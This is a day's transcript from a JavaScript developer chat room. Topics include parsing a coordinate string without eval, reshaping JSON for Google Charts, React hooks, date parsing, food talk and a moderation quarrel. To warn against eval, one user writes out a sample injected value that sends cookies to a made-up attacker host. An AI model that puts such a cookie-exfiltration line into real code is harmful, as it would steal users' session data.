« first day (3246 days earlier)      last day (1924 days later) » 
00:00 - 14:0014:00 - 23:00

ABC
ABC
14:00
example you have an error like " ERROR TypeError: Cannot read property 'getAttribute' of null"
every time I change a page it display ERROR TypeError: Cannot read property 'getAttribute' of null
so I decide to use flag
@towc lol
@KarelG u wot m8
@ABC flag?
ABC
ABC
boolean
it is unclear what you are saying. Post code.
ABC
ABC
14:03
0
Q: How to fix the EROR TypeError: Cannot read property 'getAttribute' of null - AREA CHART ANGULAR

ABCWhen I refresh the page it doesn't display the error cause the attribute is still there, but when I change page it will display the error which is the ERROR TypeError: Cannot read property 'getAttribute' of null. I already tried to put the this.tempTrendOption = []; inside the ngOnDestroy() ro...

@towc roll it through a regexp
with .exec or something
@KarelG next message
ABC
ABC
I'm trying to use the boolean flag in onInit and onDestroy where you are at the page it will load all. but when you go out you it will not display the ERROR TypeError: Cannot read property 'getAttribute' of null. it still running even you change page
he understands eval, so I gave him that
did not came until yours next one.
14:06
@MitchellvanZuylen Don't do what towc told you to do
see. I am not the first one
maybe because using eval is just so triggering to respond to
@KarelG well, you are
you're not the only one, but that's another story
'1'+'1'-'1' equals 10
!!> "(0.5834962799793, 0.555909950728617)".replace(/[()]/g, '').split(',').map(Number)
@Cereal [0.5834962799793,0.555909950728617]
14:12
@Cereal my regex is nicer :P
^ has better one yes
regex is never nicer
you're using regex
boom
although cereal's one is a kinky one: /[()]/
Only because replace doesn't accept an array
/\d+\.?\d+/g is infinitely harder to read
14:14
you don't know the brackets o.o
@Cereal well, you could substring
@Cereal Thanks! For now I'll shun away from regex whenever possible, though. Haha
but it's probably better then using eval
well, imagine you got those values from a database
and someone snuck the values "fetch('http://hacker.hackzors.com/', JSON.stringify(cookies))" in, instead of "(123, 123)"
if that is a tuple you keep getting, I would write a function for that that does it nicely instead of ours hacks
@Cereal that's why towc's solution is better. Although it needs a filter check
14:40
@towc why the fuck would you eval that
!!> JSON.parse("(0.5834962799793, 0.555909950728617)".replace('(', '[').replace(')', ']'))
@BenFortune [0.5834962799793,0.555909950728617]
see, that's the another person
you should have posted the regex one directly and never even suggest eval
(btw ben, he posted a regex solution a bit further)
I wouldn't even use regex
Do you even regex?
90% of the time it should be a last thought
14:48
Function(`return Array${stupidString}`)()
😉
out you go
it's my birthday and I'll troll if I want to, troll if I want to 🎧
😅
@rlemon do you have anything special planned?
15:04
Juiceboi
your presence is requested
15:16
> Striving to become the 3D standard for the Web, X3D is designed to be as integrated into HTML5 pages as other XML standards such as MathML and SVG.
X3D is a royalty-free ISO/IEC standard for declaratively representing 3D computer graphics. File format support includes XML, ClassicVRML, Compressed Binary Encoding (CBE) and a draft JSON encoding. It became the successor to the Virtual Reality Modeling Language (VRML) in 2001. X3D features extensions to VRML (e.g. CAD, geospatial, humanoid animation, NURBS etc.), the ability to encode the scene using an XML syntax as well as the Open Inventor-like syntax of VRML97, or binary formatting, and enhanced application programming interfaces (APIs). The X3D extension supports multi-stage and multi-texture...
Very interesting
!!jb ben fortune
15:29
Hmm, I am curious
!!jb ndugger
Maybe it would work if those two eyes has pupils
Got something to play with later 🙂
@BenFortune because he knows eval -_- I almost immediately suggested a better alternative. if I knew I'd get this backlash I would stop trying to help
You might aswell if you're suggesting eval
to be clear: he was already planning to use eval, if we didn't come in
I wanted to ease him into other options, by showing that with some minor manipulation, it's possible with eval too
also, can I call BS on shitting on eval and regexes for what are likely hacky one-time scripts that are very likely to remain hacky one-time scripts?
15:44
Why, when the non-hacky solution is simple?
if the human wants to eval himself to death, I say do it. If he's working at a company handling user data, I doubt he's the one doing the handling
@KevinB he already showed knowledge of eval. There was no evidence he was aware of regexes/json
All the more reason to introduce it
I don't know about that
if you go into the haskell room and ask about a simple thing, you don't want to get an introduction to lambda calculus
this is just javascript and simple string/number manipulation
they might tell you "hey, it makes more sense when you consider slightly deeper concepts X and Y", which is good
@KevinB for you
15:47
expertise doesn't change the problem, lol
is it better to use a single React.useState(); containing an object with multiple state variables
or multiple React.useState(); each with a single variable?
i would expect a single one to look better
less repetition
okay, then just copy the rest of the state as the same right?
dunno, i don't use useState
16:23
@towc How is showing evil to be possible easing him into not using evil?
Oh, timestamps. I should look at'm
16:36
hi bae
@Cerbrus
I'm 86% sure that hummus is the best food in the world
I'm 100% sure I disagree.
  React.useEffect(() => {
if I have a function that I call within that useEffect
How can you not think hummus is the best food? It's the best.
16:39
that takes a callback as a parameter
@ndugger There's so much better food...
and that callback calls within itself a setState function from React.useState
What's your favorite food, @Cerbrus?
could there be any problem?
16:40
I'm talking fresh hummus, btw. Not refrigerated and ruined
I mean because of calling a state update within a callback called within a useEffect?
I like hummus too
@BadgerCat A salmon / spinach lasagna, A good steak, Crème brûlée...
Much more interesting than hummus :P
I agree :P
I'd try steak with hummus
That sounds amazing
16:41
ew
Hummus is good on everything
You culinary heretic :D
I'm hungry
I'm eating hummus
and gyro
and salad
and hummus
So, basically fast food :P
16:43
I'd rather have this than a steak
You're trolling
I'm not
I don't care for most red meat these days
gyro being an obvious exception
I don't really do steak anymore
I feel bad
Ok, I'll believe you
Sometimes I'll get chicken gyro
@ndugger Mayday, mayday! We have a man down!
16:46
But what about guac?
Guac > hummus
Don't go veggie on us!
I love guac, but I like hummus more
Bruh, thinking that you need to eat steak in order to be a man is so 2018. This is the future.
@jAndy back me up on this, homeslice
I never said that...
I just like my meat.
I like chicken. I just feel bad for the cows and pigs. We treat them like complete and utter shit. I feel bad for the chickens too, but they're probably not as smart, and I really like chicken
Oh please
Owait, US, right?
16:48
@ndugger I have to agree with that
Yea, livestock gets treated like shit in the US.
My meat doesn't come from the US though :D Bon Appétit!
I'd go vegetarian in a heartbeat if I never had to cook
So basically I need to marry a vegetarian who will cook for me
@jAndy ^
I'm straight, sorry
16:50
:(
People are dying over avocados, it's crazy
Mey, hype
gotta have your daily avocado toast
They taste like nothing...
Avocados yes
16:51
They taste like creamy deliciousness
The only thing great about avocados is what you decorate them with xD
and when you turn them into guac, they're even better
Guacemole however
Now I'm hungrier
I'm staying at my parents' house, so I'll have my mom cook something for me <3
I made a really good meatloaf on monday
meatloaf is never good
17:24
oh, that's good. I just got ghosted at a restaurant
more like I thought a friend and her boyfriend were coming, then turns out her boyfriend wasn't coming because work, and that she was 30 minutes late because traffic, which didn't give her enough time to stay for dinner because she had something else soon after
but now I've had 2 smoothies and a cake slice (for lemon) while waiting, so I don't think I'll get any more food
Hi all
I need help with javascript, I have been looking for the solution for hours and I have not succeeded.
Have you asked google before coming here? If we can find your solution on the first page of results, we'll give you a solid slap on the wrist.
I have a PHP that returns a json (json_encode) and I receive it with ajax (dataType: json).
@ndugger Of course I have searched
Just making sure. Some people don't do their due diligence
Is anyone familiar with Google API?
17:29
@CAMELYON Welcome to the JavaScript chat! Please review the room rules. If you have a question, just post it, and if anyone's free and interested they'll help. If you want to report an abusive user or a problem in this room, visit our meta.
What's your question?
ok then
Well, once I have received the data in json, I need to use it to create a graph (google chart). The structure when received is: [{ts_get: '12 / 12/2019 12:01:12 ', vyrms: 1.1}, {... N}]
and I need [['ts_get': '' 12/12/2019 12:01:12 ',' vyrms': 1.1], [..N ..]]
I can understand that it is easy for you, but believe me, I am with this problem 3 hours ago and as much as I have searched I cannot make it work.
I thought the solution was in this link, but it didn't work properly.
24
Q: Convert array to array of objects with reduce

kartikoptimizedRoute = ['Bengaluru', 'Salem', 'Erode', 'Tiruppur', 'Coimbatore'] result = [ {start: bengaluru, end: salem}, {start: salem, end: erode}, {start: erode, end: tiruppur}, {start: tiruppur, end: coimbatore}, ] I want to convert optimizedRoute to result. I want to do this with ES6 ...

['ts_get': '' 12/12/2019 12:01:12 ',' vyrms': 1.1] is neither valid JS nor valid JSON
so no, you don't need that
Well, I don't know if it's that one, I've entered many links.
17:36
you misunderstand. You said you need the payload to be a certain format, but that format is invalid
['ts_get': '' 12/12/2019 12:01:12 ',' vyrms': 1.1]
is invalid
I have written it directly in the chat, wait, I will send you the correct value.
[{"vyrms":1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":2,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1.1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1.2,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":0.1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":5,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1,"ts_get":"12-Jul-2019 20:12:00"}]
yes, that's the format it's in. What is your question?
This is not going well. I'm about to bail.
when dugger bails, it hits you in the face
you don't want him bailing
He's just taking foreeeverrrr to respond
Pick up the pace, brochacho
I need to convert an "array of objects" into an array array. In other words, it has the following structure: [['ts_get': 'data', 'vyrms': 12], ['ts_get': 'data', 'vyrms': 1]]
17:42
@ndugger ok that's... uhm
@Carlos I already told you that that's not valid JS nor valid JSON
JS does not have associative arrays like you might be trying to create (because you're coming from PHP)
The format you're getting, with an array of objects seems to be exactly what you want
Why is it not correct? I have verified it with online tools. How can I convert my "json encode" of php into the structure I mentioned earlier?
... ok, I'm done
good luck
17:47
@ndugger It is not what I want, the graph does not work if I send that as a parameter.
> JS does not have associative arrays like you might be trying to create (because you're coming from PHP)
[ "foo": "bar" ] IS NOT VALID
I don't know how many times I have to say it
That's not valid syntax in JS nor in JSON
But as I said, I'm done helping you. The language barrier is making this take way too long, and I don't have time for it
@ndugger what kindness ..
Kindness is me trying to help you for free, taking time out of my own time to help you understand your problem, which I just did. Your attitude needs adjusting.
@Carlos ["anything": 123] doesn't exist
It's not valid syntax
@ndugger my attitude? I think you should go back to your messages.
17:51
facepalm
@ndugger I think you had a bad day.
@Carlos stop pinging me. I tried to help you, you don't understand and are taking forever to respond. I'm not helping you anymore, and I'd appreciate it if you stopped talking to me
@Cereal ok, suppose the syntax is correct. How can I convert that json to the structure that I need?
as a string?
@ndugger sorry for not being native;)
17:55
Ok, I asked you nicely not to ping me anymore. Gtfo.
@Cereal two-dimensional array
@Cereal jsfiddle.net/api/post/library/pure Can you see that please? Look at the line where the data is filled. "data.addRows"
that's not a valid link
nothing about this entire conversation has been valid
!!> [{"vyrms":1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":2,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1.1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1.2,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":0.1,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":5,"ts_get":"12-Jul-2019 20:12:00"},{"vyrms":1,"ts_get":"12-Jul-2019 20:12:00"}].map(b => {
return Object.entries(b).map((c,d) => [c, d])
});
@Cereal "undefined"
@Cereal Please don't post unformatted code - hit Ctrl+K before sending, use up-arrow to edit messages, and see the faq.
@Cereal "undefined"
@Cereal Please don't post unformatted code - hit Ctrl+K before sending, use up-arrow to edit messages, and see the faq.
17:59
I don't think you can have an empty line after !!>
!!>
[1234]
@ndugger "undefined"
@Cereal "SyntaxError: missing } after function body"
@Cereal "SyntaxError: missing } after function body"
This is the only thing I can possibly think you're trying to explain
[[["vyrms",1],["ts_get","12-Jul-2019 20:12:00"]],[["vyrms",2],["ts_get","12-Ju // snipepd
Is this what you want?
@Cereal no
[
['date', 0], ['date', 10], ['date', 23], ['date', 17], ['date', 18], ['date', 9]
]
obviously 'date' would be a date and the numbers are an example
18:06
a.map(b => [b.ts_get, b.vyrms])
[["12-Jul-2019 20:12:00",1],["12-Jul-2019 20:12:00",2],["12-Jul-2019 20:12:00",1],["12-Jul-2019 20:12:00",1],["12-Jul-2019 20:12:00",1.1],["12-Jul-2019 20:12:00",1.2],["12-Jul-2019 20:12:00",0.1],["12-Jul-2019 20:12:00",5],["12-Jul-2019 20:12:00",1]]
@Cereal Perfect!!
thank you very much
@Cereal this test data that I passed you is in the link. It seems that you can only access that link by clicking on "code it yourself". developers.google.com/chart/interactive/docs/gallery/linechart
You weren't asking the right question. Your question was how do I convert an array of objects into a 2-dimensional array. You then pasted something that wasn't valid javascript or json.

You should have lead with "I have this: <pasted your data structure>. How do I get this: "[["date", 0], ... etc"
@ndugger Thank you for trying to help and I apologize for not speaking English well (that's why it takes me a while to write) and for not knowing frontend. You should have a little more patience
1 message moved to Trash can
Stop baiting, thanks
49 messages moved to Trash can
18:22
you missed a few
my bot spam, 15:00 and the following 6 messages
oh I guess it's only 15:00 for me
durr
lmao
Good enough
That was all entirely unnecessary. That's all Loktar has been doing lately. I don't think he should be allowed in chat at all anymore if that's all he does.
You could've been nicer about it
About what? To carlos? The user who I asked multiple times not to ping me anymore? The one who I answered his question, explained that it was invalid syntax, and then told him that I no longer had additional time to help him?
Sure, I'll be so nice next time that I'll take the whole day off from work just to explain to one user what valid syntax in JS is
Thank you
18:26
lol
18:40
Hey Ben, should ya not "pew pew" Boris?
It is a poor, dramatic comedy now, there in UK. Oh boy
and y'all were laughing at me for living under a rock. It's the only sane place now
I still know where I'd rather live 😃
At least you're protected by a nice dog
Pft, I'd protect my dog
Hi, does anyone have any suggestions for a decently doable project based off an address book for a team of inexperienced programmers?
18:42
@KarelG oh, huskies don't really have a sense of protecting their masters :/
although I could train him (to protecc)
but got better things to do
@towc bite his ear
@BenFortune well, that's one way to get mauled to death
@towc they are more protective with little things such as babies (have read it somewhere)
But you ain't one... So
lmao you need to watch snow dogs
with cuba goodning jr
bleu cheese cookies
18:44
@BenFortune oh never heard. Looks like fun
It's a great film, one of my childhood favourites
18:56
MeH
Did not like that movie a lot. Bit silly humor
@KevinB for the record, here are just 3 people that have thanked/recognized me for helping them recently: https://chat.stackoverflow.com/transcript/17?m=47180968#47180968 https://chat.stackoverflow.com/transcript/17?m=47025585#47025585 https://chat.stackoverflow.com/transcript/17?m=46354886#46354886

I realize you guys seem to think of me as someone whose only goal is to be obnoxious, but I think you need to take a step back and be objective about what I actually do here. There have been other people recently that I've helped as well, but I'm not gonna spend more time digging through the tr
If you don't want me to help anyone anymore, fine, I'll leave, but seriously get off my back
> stop wasting my time
> spends 3 hours arguing with people about how time he wastes
19:06
Look, just don't be an asshat to people who come here looking for help. Yes, you do sometimes help people without being rude. But it's reaaaly noticeable when you're being rude.
I never said stop wasting my time, and I'm not arguing with anyone. Loktar just came in to pile on because he apparently has no life. This isn't the only time I've been accused of not helping anyone. I get to defend myself without all you guys piling on
If you actually read through the conversation with carlos, I was very helpful. I only turned rude after he disregarded my wishes to not be pinged over and over and over again
so exit sooner
Well yeah, I forgot about the ignore functionality
I eventually exercised it
Hmm is there a "clean" way of adding a time to a javascript date object (with the time being a string like "18:46:01+01")
Or well, actually replacing the current time part of the date object (which should be 0 anways)
@ndugger I mean.. I was idling earlier because it was @rlemon bday and I wanted to star it
19:09
Time is usually stored with a Date unless the source had no timestamp
I didn't just spend a few hours compiling a case against anyone
@Loktar I have no interest in talking with you, so you're going on the ignore list. Have a nice life.
A no life you mean
@paul23 pretty sure you have to do something like date.setHours(0); date.setMinutes(0)
etc
@ndugger I need to specifically split it, since "date without time" and "date with time" have two distinct meanings
19:10
there's setTime that takes an epoch value
Hmm but from a ISO string?
convert the time to MS and add it to the date
I guess the implication is: "I have to parse it myself".
yes, flag war. awesome.
Momentjs also doesn't seem to understand a time+timezone input.
19:18
Moment for sure does, you might need to tell it the format that it's in
@rlemon it was a prank for your birthday
just wanted to play a bit of capture the flag
puts on ghillie suit
I take capture the flag very seriously.
lol
19:42
Is this website still maintained
https://uptodate.frontendrescue.org/
1
Q: Static const in javascript (typescript) class

noontzI like a single default export and to access constant values through the class definition like this: MyClassDefinition.MyConstant I find myself using this approach: export default class MyClassDefinition { static get MyConstant(): number { return 1234 }; } I there a less verbose way to ...

@Aerious There's literally a button on that page that will tell you the answer
20:03
what's with all the F-word and stfu lately? please flag for moderation and move on. Let's remain civil please. Thanks.
@Jean-FrançoisFabre I had raised two mod flags with no response. Better late than never, I suppose
You have your response now. I don't have chat at work and 25 other mods didn't handle it (or it just was sent to me and noone else, i don't know how damn chat works).
I think you have room owners too that can move messages to trash too.
I don't think anyone knows at this point
Yeah but we're lazy
I deleted a few offensive/flagged messages.
@BenFortune I don't believe that. You took care of a few ones.
 
1 hour later…
21:18
-2
Q: Convert setTimeout to async awesomeness?

Kirk RossI'm still grappling with async await and often end up using a set timeout to quickly solve my problem hackily. I'm getting data with jquery get and calling the buildSlideshow function on .done(); After the slideshow is built, I want to call the startSlideshow() function with another function. ...

I love how the answer is downvoted
21:47
how can i detect keyboard open event?
onFocus doesn't work
on a web browser?
mobile app?
something else?
There. Closed.
Yet another "I don't understand async" question...
@forresthopkinsa A 109k user should know better...
22:16
@KevinB on any broswer was, but I solved it, thank you very much. Now I was wondering if I should remove any event that I attach when the page closes..
for example when a component gets unmounted should we removed every event added with addEventListener?
eh, as long as the element isn't referenced anywhere, and is removed from the dom, you should be safe
chances are though it is referenced somewhere
ideally you'd want to make sure that references goes away, moreso than getting rid of the event
if it's an element that doesn't get removed from the dom, you'll definitely want to make sure it doesn't get added multiple times, removing it might be required depending on how you're adding it
!!refresh
!!MagiC
!!mAGiC
(∩ ͡° ͜ʖ ͡°)⊃━☆゚. * ・ 。 ᵀᴴᴱ ᴳᴬᴹᴱ
00:00 - 14:0014:00 - 23:00

« first day (3246 days earlier)      last day (1924 days later) »